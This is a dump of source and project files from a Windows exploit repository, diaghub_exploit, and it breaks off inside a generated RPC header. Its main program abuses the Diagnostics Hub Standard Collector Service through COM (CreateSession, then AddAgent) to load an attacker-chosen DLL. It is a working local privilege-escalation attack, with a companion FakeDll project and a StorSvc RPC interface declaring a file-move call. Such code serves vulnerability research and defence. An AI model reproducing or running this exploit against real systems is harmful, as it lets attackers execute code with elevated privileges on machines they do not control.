├── FakeDll
├── FakeDll.cpp
├── FakeDll.vcxproj
├── FakeDll.vcxproj.filters
├── FakeDll.vcxproj.user
├── dllmain.cpp
├── fakedll.def
├── stdafx.cpp
├── stdafx.h
└── targetver.h
├── diaghub_exploit
├── ScopedHandle.cpp
├── ScopedHandle.h
├── diaghub_exploit.cpp
├── diaghub_exploit.vcxproj
├── ntimports.h
├── rpc.idl
├── rpc_c.c
├── rpc_h.h
├── rpc_s.c
├── stdafx.cpp
├── stdafx.h
├── targetver.h
└── typed_buffer.h
└── diaghubexploit.sln
/FakeDll/FakeDll.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/FakeDll.cpp
--------------------------------------------------------------------------------
/FakeDll/FakeDll.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {510160D0-966C-4382-8A59-C6306C8624A7}
24 | Win32Proj
25 | FakeDll
26 | 8.1
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | v141
33 | Unicode
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v141
39 | true
40 | Unicode
41 |
42 |
43 | DynamicLibrary
44 | true
45 | v141
46 | Unicode
47 |
48 |
49 | DynamicLibrary
50 | false
51 | v141
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Use
88 | Level3
89 | Disabled
90 | true
91 | WIN32;_DEBUG;FAKEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
92 |
93 |
94 | Windows
95 | true
96 | fakedll.def
97 |
98 |
99 |
100 |
101 | Use
102 | Level3
103 | Disabled
104 | true
105 | _DEBUG;FAKEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
106 |
107 |
108 | Windows
109 | true
110 | fakedll.def
111 |
112 |
113 |
114 |
115 | Use
116 | Level3
117 | MaxSpeed
118 | true
119 | true
120 | true
121 | WIN32;NDEBUG;FAKEDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
122 | MultiThreaded
123 |
124 |
125 | Windows
126 | true
127 | true
128 | true
129 | fakedll.def
130 |
131 |
132 |
133 |
134 | Use
135 | Level3
136 | MinSpace
137 | true
138 | true
139 | true
140 | NDEBUG;FAKEDLL_EXPORTS;_CRT_SECURE_NO_WARNINGS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
141 | MultiThreaded
142 |
143 |
144 | Windows
145 | true
146 | true
147 | false
148 | fakedll.def
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 | Create
160 | Create
161 | Create
162 | Create
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
--------------------------------------------------------------------------------
/FakeDll/FakeDll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 |
26 |
27 | Source Files
28 |
29 |
30 | Source Files
31 |
32 |
33 | Source Files
34 |
35 |
36 |
37 |
38 | Source Files
39 |
40 |
41 |
--------------------------------------------------------------------------------
/FakeDll/FakeDll.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/FakeDll/dllmain.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/dllmain.cpp
--------------------------------------------------------------------------------
/FakeDll/fakedll.def:
--------------------------------------------------------------------------------
1 | LIBRARY fakedll
2 |
3 | EXPORTS
4 | DllGetClassObject PRIVATE
5 | DllInstall PRIVATE
6 | DllRegisterServer PRIVATE
7 |
--------------------------------------------------------------------------------
/FakeDll/stdafx.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/stdafx.cpp
--------------------------------------------------------------------------------
/FakeDll/stdafx.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/stdafx.h
--------------------------------------------------------------------------------
/FakeDll/targetver.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/decoder-it/diaghub_exploit/f83ca5b8f129082507af2f8c25cb06444ca3079c/FakeDll/targetver.h
--------------------------------------------------------------------------------
/diaghub_exploit/ScopedHandle.cpp:
--------------------------------------------------------------------------------
1 | // Copyright 2015 Google Inc. All Rights Reserved.
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http ://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | #include "stdafx.h"
16 | #include "ScopedHandle.h"
17 | #include
18 |
19 | static HANDLE Duplicate(HANDLE h)
20 | {
21 | HANDLE dup;
22 |
23 | if ((h == INVALID_HANDLE_VALUE) || !DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &dup, 0, FALSE, DUPLICATE_SAME_ACCESS))
24 | {
25 | return nullptr;
26 | }
27 | else
28 | {
29 | return dup;
30 | }
31 | }
32 |
33 | ScopedHandle::ScopedHandle(HANDLE h, bool duplicate)
34 | {
35 | if (duplicate)
36 | {
37 | g_h = Duplicate(h);
38 | }
39 | else
40 | {
41 | g_h = h;
42 | }
43 | }
44 |
45 | ScopedHandle::ScopedHandle(const ScopedHandle& other)
46 | {
47 | g_h = Duplicate(other.g_h);
48 | }
49 |
50 | ScopedHandle& ScopedHandle::operator=(const ScopedHandle& other)
51 | {
52 | if (this != &other)
53 | {
54 | g_h = Duplicate(other.g_h);
55 | }
56 |
57 | return *this;
58 | }
59 |
60 | ScopedHandle::ScopedHandle(ScopedHandle&& other)
61 | {
62 | g_h = other.g_h;
63 | other.g_h = nullptr;
64 | }
65 |
66 | ScopedHandle& ScopedHandle::operator=(ScopedHandle&& other)
67 | {
68 | if (this != &other)
69 | {
70 | g_h = other.g_h;
71 | other.g_h = nullptr;
72 | }
73 |
74 | return *this;
75 | }
76 |
77 | void ScopedHandle::Close()
78 | {
79 | if (IsValid())
80 | {
81 | CloseHandle(g_h);
82 | g_h = nullptr;
83 | }
84 | }
85 |
86 | void ScopedHandle::Reset(HANDLE h)
87 | {
88 | Close();
89 | g_h = h;
90 | }
91 |
92 | ScopedHandle::~ScopedHandle()
93 | {
94 | Close();
95 | }
96 |
--------------------------------------------------------------------------------
/diaghub_exploit/ScopedHandle.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | class ScopedHandle
4 | {
5 | HANDLE g_h;
6 |
7 | public:
8 | ScopedHandle(HANDLE h, bool duplicate);
9 | void Close();
10 | void Reset(HANDLE h);
11 | bool IsValid() const {
12 | return (g_h != nullptr) && (g_h != INVALID_HANDLE_VALUE);
13 | }
14 | ScopedHandle(const ScopedHandle& other);
15 | ScopedHandle& operator=(const ScopedHandle& other);
16 |
17 | ScopedHandle(ScopedHandle&& other);
18 | ScopedHandle& operator=(ScopedHandle&& other);
19 |
20 | operator HANDLE() const {
21 | return g_h;
22 | }
23 |
24 | ~ScopedHandle();
25 | };
26 |
27 |
--------------------------------------------------------------------------------
/diaghub_exploit/diaghub_exploit.cpp:
--------------------------------------------------------------------------------
1 | // PocStorSvc.cpp : Defines the entry point for the console application.
2 | //
3 | #include "stdafx.h"
4 |
5 | #include "rpc_h.h"
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include "ScopedHandle.h"
11 | #include
12 | #include
13 | #pragma comment(lib, "rpcrt4.lib")
14 | wchar_t *dllfile;
15 |
16 | RPC_STATUS CreateBindingHandle(RPC_BINDING_HANDLE *binding_handle)
17 | {
18 | RPC_STATUS status;
19 | RPC_BINDING_HANDLE v5;
20 | RPC_SECURITY_QOS SecurityQOS = {};
21 | RPC_WSTR StringBinding = nullptr;
22 | RPC_BINDING_HANDLE Binding;
23 |
24 | StringBinding = 0;
25 | Binding = 0;
26 | status = RpcStringBindingComposeW(L"be7f785e-0e3a-4ab7-91de-7e46e443be29", L"ncalrpc",
27 | nullptr, nullptr, nullptr, &StringBinding);
28 | if (status == RPC_S_OK)
29 | {
30 | status = RpcBindingFromStringBindingW(StringBinding, &Binding);
31 | RpcStringFreeW(&StringBinding);
32 | if (!status)
33 | {
34 | SecurityQOS.Version = 1;
35 | SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
36 | SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
37 | SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
38 |
39 | status = RpcBindingSetAuthInfoExW(Binding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
40 | if (!status)
41 | {
42 | v5 = Binding;
43 | Binding = 0;
44 | *binding_handle = v5;
45 | }
46 | }
47 | }
48 |
49 | if (Binding)
50 | RpcBindingFree(&Binding);
51 | return status;
52 | }
53 |
54 | extern "C" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)
55 | {
56 | return(malloc(len));
57 | }
58 |
59 | extern "C" void __RPC_USER midl_user_free(void __RPC_FAR * ptr)
60 | {
61 | free(ptr);
62 | }
63 |
64 |
65 |
66 |
67 |
68 |
69 | GUID CLSID_CollectorService =
70 | { 0x42CBFAA7, 0xA4A7, 0x47BB,{ 0xB4, 0x22, 0xBD, 0x10, 0xE9, 0xD0, 0x27, 0x00, } };
71 |
72 | class __declspec(uuid("f23721ef-7205-4319-83a0-60078d3ca922")) ICollectionSession : public IUnknown {
73 | public:
74 |
75 | virtual HRESULT __stdcall PostStringToListener(REFGUID, LPWSTR) = 0;
76 | virtual HRESULT __stdcall PostBytesToListener() = 0;
77 | virtual HRESULT __stdcall AddAgent(LPWSTR path, REFGUID) = 0;
78 | };
79 |
80 | struct SessionConfiguration
81 | {
82 | DWORD version; // Needs to be 1
83 | DWORD a1; // Unknown
84 | DWORD something; // Also unknown
85 | DWORD monitor_pid;
86 | GUID guid;
87 | BSTR path; // Path to a valid directory
88 | USHORT trailing;
89 | };
90 |
91 | class __declspec(uuid("7e912832-d5e1-4105-8ce1-9aadd30a3809")) IStandardCollectorClientDelegate : public IUnknown
92 | {
93 | };
94 |
95 | class __declspec(uuid("0d8af6b7-efd5-4f6d-a834-314740ab8caa")) IStandardCollectorService : public IUnknown
96 | {
97 | public:
98 | virtual HRESULT __stdcall CreateSession(SessionConfiguration *, IStandardCollectorClientDelegate *, ICollectionSession **) = 0;
99 | virtual HRESULT __stdcall GetSession(REFGUID, ICollectionSession **) = 0;
100 | virtual HRESULT __stdcall DestroySession(REFGUID) = 0;
101 | virtual HRESULT __stdcall DestroySessionAsync(REFGUID) = 0;
102 | virtual HRESULT __stdcall AddLifetimeMonitorProcessIdForSession(REFGUID, int) = 0;
103 | };
104 |
105 | _COM_SMARTPTR_TYPEDEF(IStandardCollectorService, __uuidof(IStandardCollectorService));
106 | _COM_SMARTPTR_TYPEDEF(ICollectionSession, __uuidof(ICollectionSession));
107 |
108 | class CoInit
109 | {
110 | public:
111 | CoInit() {
112 | CoInitialize(nullptr);
113 | }
114 |
115 | ~CoInit() {
116 | CoUninitialize();
117 | }
118 | };
119 |
120 | void ThrowOnError(HRESULT hr)
121 | {
122 | if (hr != 0)
123 | {
124 | throw _com_error(hr);
125 | }
126 | }
127 |
128 | void LoadDll()
129 | {
130 | CoInit coinit;
131 | try
132 | {
133 | GUID name;
134 | CoCreateGuid(&name);
135 | LPOLESTR name_str;
136 | StringFromIID(name, &name_str);
137 |
138 |
139 | WCHAR valid_dir[] = L"C:\\temp\\etw";
140 | CreateDirectory(valid_dir, nullptr);
141 | printf("[+] Created dir:%S\n", valid_dir);
142 | IStandardCollectorServicePtr service;
143 | printf("[+] CoCreateInstance\n");
144 | ThrowOnError(CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service)));
145 | DWORD authn_svc;
146 | DWORD authz_svc;
147 | LPOLESTR principal_name;
148 | DWORD authn_level;
149 | DWORD imp_level;
150 | RPC_AUTH_IDENTITY_HANDLE identity;
151 | DWORD capabilities;
152 | printf("[+] CoQueryProxyBlanket\n");
153 | ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities));
154 | printf("[+] CoSetProxyBlanket\n");
155 | ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities));
156 | SessionConfiguration config = {};
157 | config.version = 1;
158 | config.monitor_pid = ::GetCurrentProcessId();
159 | CoCreateGuid(&config.guid);
160 | bstr_t path = valid_dir;
161 | config.path = path;
162 | ICollectionSessionPtr session;
163 | printf("[+] service->CreateSession\n");
164 | ThrowOnError(service->CreateSession(&config, nullptr, &session));
165 | GUID agent_guid;
166 | CoCreateGuid(&agent_guid);
167 | printf("[+] service->AddAgent\n");
168 | ThrowOnError(session->AddAgent(dllfile, agent_guid));
169 | }
170 | catch (const _com_error& error)
171 | {
172 | if (error.Error() == 0x8007045A || error.Error() == 0xC1110015)
173 | {
174 | printf("[+] DLL should have been loaded\n");
175 | }
176 | else
177 | {
178 | printf("%ls\n", error.ErrorMessage());
179 | printf("%08X\n", error.Error());
180 | }
181 | }
182 | }
183 |
184 | int wmain(int argc, wchar_t** argv)
185 | {
186 | if(argc < 2)
187 | {
188 | printf("specify fakedll name (without path)\n");
189 | return 1;
190 | }
191 | dllfile = argv[1];
192 |
193 |
194 | LoadDll();
195 |
196 | return 0;
197 | }
198 |
199 |
--------------------------------------------------------------------------------
/diaghub_exploit/diaghub_exploit.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}
24 | Win32Proj
25 | Poc_StorSvc
26 | 10.0.17134.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v141
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v141
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v141
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v141
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Use
88 | Level3
89 | Disabled
90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
91 | true
92 |
93 |
94 | Console
95 | true
96 |
97 |
98 |
99 |
100 | Use
101 | Level3
102 | Disabled
103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 |
110 |
111 |
112 |
113 | Use
114 | Level3
115 | MaxSpeed
116 | true
117 | true
118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
119 | true
120 |
121 |
122 | Console
123 | true
124 | true
125 | true
126 |
127 |
128 |
129 |
130 | Use
131 | Level3
132 | MaxSpeed
133 | true
134 | true
135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
136 | true
137 | MultiThreaded
138 |
139 |
140 | Console
141 | true
142 | true
143 | true
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 | Create
155 | Create
156 | Create
157 | Create
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
--------------------------------------------------------------------------------
/diaghub_exploit/ntimports.h:
--------------------------------------------------------------------------------
1 |
2 | #pragma once
3 | #include
4 | #include
5 |
6 |
7 | #define DIRECTORY_QUERY 0x0001
8 | #define DIRECTORY_TRAVERSE 0x0002
9 | #define DIRECTORY_CREATE_OBJECT 0x0004
10 | #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008
11 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)
12 |
13 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
14 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess,
15 | POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something);
16 | typedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
17 | typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
18 |
19 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
20 |
21 | typedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
22 | typedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
23 | typedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength);
24 | typedef NTSTATUS(NTAPI* _NtOpenFile)(
25 | _Out_ PHANDLE FileHandle,
26 | _In_ ACCESS_MASK DesiredAccess,
27 | _In_ POBJECT_ATTRIBUTES ObjectAttributes,
28 | _Out_ PIO_STATUS_BLOCK IoStatusBlock,
29 | _In_ ULONG ShareAccess,
30 | _In_ ULONG OpenOptions
31 | );
32 |
33 | const ULONG FileLinkInformation = 11;
34 |
35 | typedef struct _FILE_LINK_INFORMATION {
36 | BOOLEAN ReplaceIfExists;
37 | HANDLE RootDirectory;
38 | ULONG FileNameLength;
39 | WCHAR FileName[1];
40 | } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;
41 |
42 | typedef NTSTATUS(__stdcall *_ZwSetInformationFile)(
43 | _In_ HANDLE FileHandle,
44 | _Out_ PIO_STATUS_BLOCK IoStatusBlock,
45 | _In_ PVOID FileInformation,
46 | _In_ ULONG Length,
47 | _In_ ULONG FileInformationClass
48 | );
49 | typedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status);
50 | void SetNtLastError(NTSTATUS status);
51 |
52 | #define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x)
53 |
--------------------------------------------------------------------------------
/diaghub_exploit/rpc.idl:
--------------------------------------------------------------------------------
1 | import "oaidl.idl";
2 | import "ocidl.idl";
3 |
4 | [
5 | uuid(be7f785e-0e3a-4ab7-91de-7e46e443be29),
6 | version(0.0),
7 | ]
8 | interface DefaultIfName
9 | {
10 |
11 | typedef struct Struct_22_t
12 | {
13 | long StructMember0;
14 | short StructMember1;
15 | short StructMember2;
16 | byte StructMember3[8];
17 | }Struct_22_t;
18 |
19 | typedef struct Struct_34_t
20 | {
21 | long StructMember0;
22 | wchar_t StructMember1[260];
23 | long StructMember2;
24 | /* enum_16 */ short StructMember3;
25 | /* enum_16 */ short StructMember4;
26 | long StructMember5;
27 | /* enum_16 */ short StructMember6;
28 | /* enum_16 */ short StructMember7;
29 | struct Struct_22_t StructMember8;
30 | long StructMember9;
31 | hyper StructMember10;
32 | wchar_t StructMember11[260];
33 | long StructMember12;
34 | long StructMember13;
35 | }Struct_34_t;
36 |
37 | typedef struct Struct_76_t
38 | {
39 | long StructMember0[2];
40 | }Struct_76_t;
41 |
42 | typedef struct Struct_90_t
43 | {
44 | long StructMember0;
45 | /* enum_16 */ short StructMember1;
46 | long StructMember2;
47 | /* enum_16 */ short StructMember3;
48 | /* enum_16 */ short StructMember4;
49 | }Struct_90_t;
50 |
51 | typedef struct Struct_112_t
52 | {
53 | long StructMember0;
54 | long StructMember1;
55 | long StructMember2;
56 | /* enum_16 */ short StructMember3;
57 | }Struct_112_t;
58 |
59 | typedef struct Struct_134_t
60 | {
61 | long StructMember0;
62 | /* enum_16 */ short StructMember1;
63 | long StructMember2;
64 | long StructMember3;
65 | long StructMember4;
66 | }Struct_134_t;
67 |
68 | typedef struct Struct_162_t
69 | {
70 | double StructMember0;
71 | wchar_t StructMember1[39];
72 | }Struct_162_t;
73 |
74 | long Proc0(
75 | [in]/* enum_16 */ short arg_1,
76 | [in]long arg_2,
77 | [in]long arg_3);
78 |
79 | long Proc1(
80 | [in]/* enum_16 */ short arg_1,
81 | [in]long arg_2,
82 | [in]long arg_3);
83 |
84 | long Proc2(
85 | [in]/* enum_16 */ short arg_1,
86 | [in]long arg_2,
87 | [in]long arg_3);
88 |
89 | long Proc3(
90 | [in]/* enum_16 */ short arg_1,
91 | [out]long *arg_2);
92 |
93 | long Proc4(
94 | [in]/* enum_16 */ short arg_1,
95 | [in]long arg_2,
96 | [in][out]struct Struct_34_t* arg_3);
97 |
98 | long Proc5(
99 | [in]/* enum_16 */ short arg_1,
100 | [in]/* enum_16 */ short arg_2,
101 | [in]long arg_3,
102 | [out]struct Struct_76_t* arg_4);
103 |
104 | long Proc6(
105 | [in]long arg_1,
106 | [in]long arg_2,
107 | [in]long arg_3);
108 |
109 | long Proc7(
110 | [in]long arg_1,
111 | [in]long arg_2);
112 |
113 | long Proc8(
114 | [in]long arg_1,
115 | [in]long arg_2);
116 |
117 | long Proc9(
118 | [in]/* enum_16 */ short arg_1,
119 | [in]long arg_2);
120 |
121 | long Proc10(
122 | [in]/* enum_16 */ short arg_1,
123 | [in]long arg_2,
124 | [in]/* enum_16 */ short arg_3,
125 | [out]long *arg_4);
126 |
127 | long Proc11(
128 | [in]/* enum_16 */ short arg_1,
129 | [in]long arg_2,
130 | [in]/* enum_16 */ short arg_3,
131 | [in]long arg_4);
132 |
133 | long Proc12(
134 | [in]struct Struct_90_t* arg_1);
135 |
136 | long Proc13(
137 | [in]/* enum_16 */ short arg_1,
138 | [in]long arg_2);
139 |
140 | __int3264 SvcMoveFileInheritSecurity
141 | (
142 | [in][string] wchar_t* src,
143 | [in][string] wchar_t* dest,
144 | [in]long flags);
145 |
146 | long Proc15(
147 | [in]/* enum_16 */ short arg_1,
148 | [in]long arg_2,
149 | [in][out]struct Struct_112_t* arg_3);
150 |
151 | long Proc16(
152 | );
153 |
154 | long Proc17(
155 | [in]/* enum_16 */ short arg_1,
156 | [in]long arg_2);
157 |
158 | long Proc18(
159 | [in]/* enum_16 */ short arg_1,
160 | [out]long *arg_2);
161 |
162 | long Proc19(
163 | [in]/* enum_16 */ short arg_1,
164 | [in][unique][string] wchar_t* arg_2,
165 | [out]long *arg_3);
166 |
167 | long Proc20(
168 | [in]/* enum_16 */ short arg_1,
169 | [in][unique][string] wchar_t* arg_2,
170 | [in]long arg_3);
171 |
172 | long Proc21(
173 | [in][out]struct Struct_134_t* arg_1);
174 | }
--------------------------------------------------------------------------------
/diaghub_exploit/rpc_h.h:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Tue Jan 19 04:14:07 2038
8 | */
9 | /* Compiler settings for rpc.idl:
10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
11 | protocol : all , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 |
20 |
21 | /* verify that the version is high enough to compile this file*/
22 | #ifndef __REQUIRED_RPCNDR_H_VERSION__
23 | #define __REQUIRED_RPCNDR_H_VERSION__ 500
24 | #endif
25 |
26 | #include "rpc.h"
27 | #include "rpcndr.h"
28 |
29 | #ifndef __RPCNDR_H_VERSION__
30 | #error this stub requires an updated version of
31 | #endif /* __RPCNDR_H_VERSION__ */
32 |
33 |
34 | #ifndef __rpc_h_h__
35 | #define __rpc_h_h__
36 |
37 | #if defined(_MSC_VER) && (_MSC_VER >= 1020)
38 | #pragma once
39 | #endif
40 |
41 | /* Forward Declarations */
42 |
43 | /* header files for imported files */
44 | #include "oaidl.h"
45 | #include "ocidl.h"
46 |
47 | #ifdef __cplusplus
48 | extern "C"{
49 | #endif
50 |
51 |
52 | #ifndef __DefaultIfName_INTERFACE_DEFINED__
53 | #define __DefaultIfName_INTERFACE_DEFINED__
54 |
55 | /* interface DefaultIfName */
56 | /* [version][uuid] */
57 |
58 | typedef struct Struct_22_t
59 | {
60 | long StructMember0;
61 | short StructMember1;
62 | short StructMember2;
63 | byte StructMember3[ 8 ];
64 | } Struct_22_t;
65 |
66 | typedef struct Struct_34_t
67 | {
68 | long StructMember0;
69 | wchar_t StructMember1[ 260 ];
70 | long StructMember2;
71 | short StructMember3;
72 | short StructMember4;
73 | long StructMember5;
74 | short StructMember6;
75 | short StructMember7;
76 | struct Struct_22_t StructMember8;
77 | long StructMember9;
78 | hyper StructMember10;
79 | wchar_t StructMember11[ 260 ];
80 | long StructMember12;
81 | long StructMember13;
82 | } Struct_34_t;
83 |
84 | typedef struct Struct_76_t
85 | {
86 | long StructMember0[ 2 ];
87 | } Struct_76_t;
88 |
89 | typedef struct Struct_90_t
90 | {
91 | long StructMember0;
92 | short StructMember1;
93 | long StructMember2;
94 | short StructMember3;
95 | short StructMember4;
96 | } Struct_90_t;
97 |
98 | typedef struct Struct_112_t
99 | {
100 | long StructMember0;
101 | long StructMember1;
102 | long StructMember2;
103 | short StructMember3;
104 | } Struct_112_t;
105 |
106 | typedef struct Struct_134_t
107 | {
108 | long StructMember0;
109 | short StructMember1;
110 | long StructMember2;
111 | long StructMember3;
112 | long StructMember4;
113 | } Struct_134_t;
114 |
115 | typedef struct Struct_162_t
116 | {
117 | double StructMember0;
118 | wchar_t StructMember1[ 39 ];
119 | } Struct_162_t;
120 |
121 | long Proc0(
122 | /* [in] */ handle_t IDL_handle,
123 | /* [in] */ short arg_1,
124 | /* [in] */ long arg_2,
125 | /* [in] */ long arg_3);
126 |
127 | long Proc1(
128 | /* [in] */ handle_t IDL_handle,
129 | /* [in] */ short arg_1,
130 | /* [in] */ long arg_2,
131 | /* [in] */ long arg_3);
132 |
133 | long Proc2(
134 | /* [in] */ handle_t IDL_handle,
135 | /* [in] */ short arg_1,
136 | /* [in] */ long arg_2,
137 | /* [in] */ long arg_3);
138 |
139 | long Proc3(
140 | /* [in] */ handle_t IDL_handle,
141 | /* [in] */ short arg_1,
142 | /* [out] */ long *arg_2);
143 |
144 | long Proc4(
145 | /* [in] */ handle_t IDL_handle,
146 | /* [in] */ short arg_1,
147 | /* [in] */ long arg_2,
148 | /* [out][in] */ struct Struct_34_t *arg_3);
149 |
150 | long Proc5(
151 | /* [in] */ handle_t IDL_handle,
152 | /* [in] */ short arg_1,
153 | /* [in] */ short arg_2,
154 | /* [in] */ long arg_3,
155 | /* [out] */ struct Struct_76_t *arg_4);
156 |
157 | long Proc6(
158 | /* [in] */ handle_t IDL_handle,
159 | /* [in] */ long arg_1,
160 | /* [in] */ long arg_2,
161 | /* [in] */ long arg_3);
162 |
163 | long Proc7(
164 | /* [in] */ handle_t IDL_handle,
165 | /* [in] */ long arg_1,
166 | /* [in] */ long arg_2);
167 |
168 | long Proc8(
169 | /* [in] */ handle_t IDL_handle,
170 | /* [in] */ long arg_1,
171 | /* [in] */ long arg_2);
172 |
173 | long Proc9(
174 | /* [in] */ handle_t IDL_handle,
175 | /* [in] */ short arg_1,
176 | /* [in] */ long arg_2);
177 |
178 | long Proc10(
179 | /* [in] */ handle_t IDL_handle,
180 | /* [in] */ short arg_1,
181 | /* [in] */ long arg_2,
182 | /* [in] */ short arg_3,
183 | /* [out] */ long *arg_4);
184 |
185 | long Proc11(
186 | /* [in] */ handle_t IDL_handle,
187 | /* [in] */ short arg_1,
188 | /* [in] */ long arg_2,
189 | /* [in] */ short arg_3,
190 | /* [in] */ long arg_4);
191 |
192 | long Proc12(
